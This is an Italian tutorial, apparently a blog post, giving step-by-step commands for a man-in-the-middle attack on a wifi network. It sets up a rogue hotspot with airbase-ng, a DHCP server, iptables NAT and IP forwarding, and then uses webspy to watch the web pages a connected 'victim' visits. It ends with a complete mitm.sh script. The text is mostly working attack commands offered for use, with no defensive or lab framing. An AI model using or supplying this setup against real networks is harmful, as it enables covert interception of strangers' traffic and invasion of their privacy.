Attacco MITM su rete wifi con ubuntu 12.04

I prerequisiti per utilizzare questa versione di ubuntu per l'attacco sono :

1)Installare i compat-wireless
2)Installare aircrack-ng e dsniff
3)Avere una scheda wifi "libera" ,cioè non utilizzata per la connessione a internet, che supporti il monitor-mode
3)Installare il server dhcp3 versione 3.1.3-2ubuntu3.5

Per l' installazione del server dhcp3 procedere come segue:

1)Scaricare i pacchetti dhcp3-common 3.1.3-2ubuntu3.5 e dhcp3-server 3.1.3-2ubuntu3.5 da questo sito https://launchpad.net/ubuntu/lucid/+package/dhcp3-common
2)Da root aprire il pacchetto dhcp3-common 3.1.3-2ubuntu3.5 con synaptic e installare.
3)Ripetere il procedimento per il pacchetto dhcp3-server 3.1.3-2ubuntu3.5
4)Una volta installati i pacchetti sempre da synaptic selezionare il pacchetto dhcp3-common e poi dal menu "Pacchetto" selezionare "Blocca versione".
5)Ripetere il procedimento per dhcp3-server
6)Chiudere synaptic

A questo punto bisogna configurare il server dhcp3 , aprire il file "/etc/dhcp3/dhcpd.conf" cancellare tutto, copiare quanto segue:

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}

ed infine salvare.

Ora che il server dhcp è configurato creiamo l'hotspot (n.b. tutta la configurazione da root):

1) Mettiamo la scheda wifi in monitor-mode:

airmon-ng start wlan0 (supponendo che la vostra scheda sia wlan0)

2)Creare la rete:

airbase-ng -e "nomerete" -c 9 mon0 (al posto di "nomerete" inserite il nome che intendete usare per l' hotspot senza virgolette).

3)Aprite un altro terminale (senza chiudere il precedente) per abilitate e configurare l'interfaccia at0:

ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 

4)Ora configuriamo gli iptables(wlan1 è la scheda connessa a internet) :

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 

5)Lanciamo il server dhcp3:

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

6)Infine apriamo un ulteriore terminale e abilitiamo ip_forward:

echo 1 > /proc/sys/net/ipv4/ip_forward

A questo punto quando una vittima si collega al vostro hotspot , tutto il traffico generato
può essere intercettato sull' interfaccia at0. Come esempio lanciamo il programma webspy per vedere sul vostro browser ,in tempo reale, tutte le pagine web aperte dalla vittima. Ecco come procedere:

1)Aprire un terminale da root, supponendo che la vittima abbia ip 192.168.2.130(il primo assegnato dal server dhcp3) :

webspy -i at0 192.168.2.130

2)Aprire un altro terminale da root e lanciare il browser:

firefox

Ora se una vittima collegata alla rete apre una pagina web , la stessa pagina comparirà sul vostro Browser. Per semplicità ho raccolto i comandi in uno script da copiare in un file e salvare col nome mitm.sh. In questo script ho supposto di lavorare con 2 schede wifi, di cui wlan1 è quella connessa ad internet.

#!/bin/sh
pkill airbase-ng
sleep 2;
pkill dhcpd3
sleep 5;
airmon-ng start wlan0 
sleep 5;
airbase-ng -e miarete -c 9 mon0 &
sleep 5;
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 
sleep 5;
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &
echo 1 > /proc/sys/net/ipv4/ip_forward

Per eseguire lo script bisogna aprire un terminale da root e dare il comando:

./mitm.sh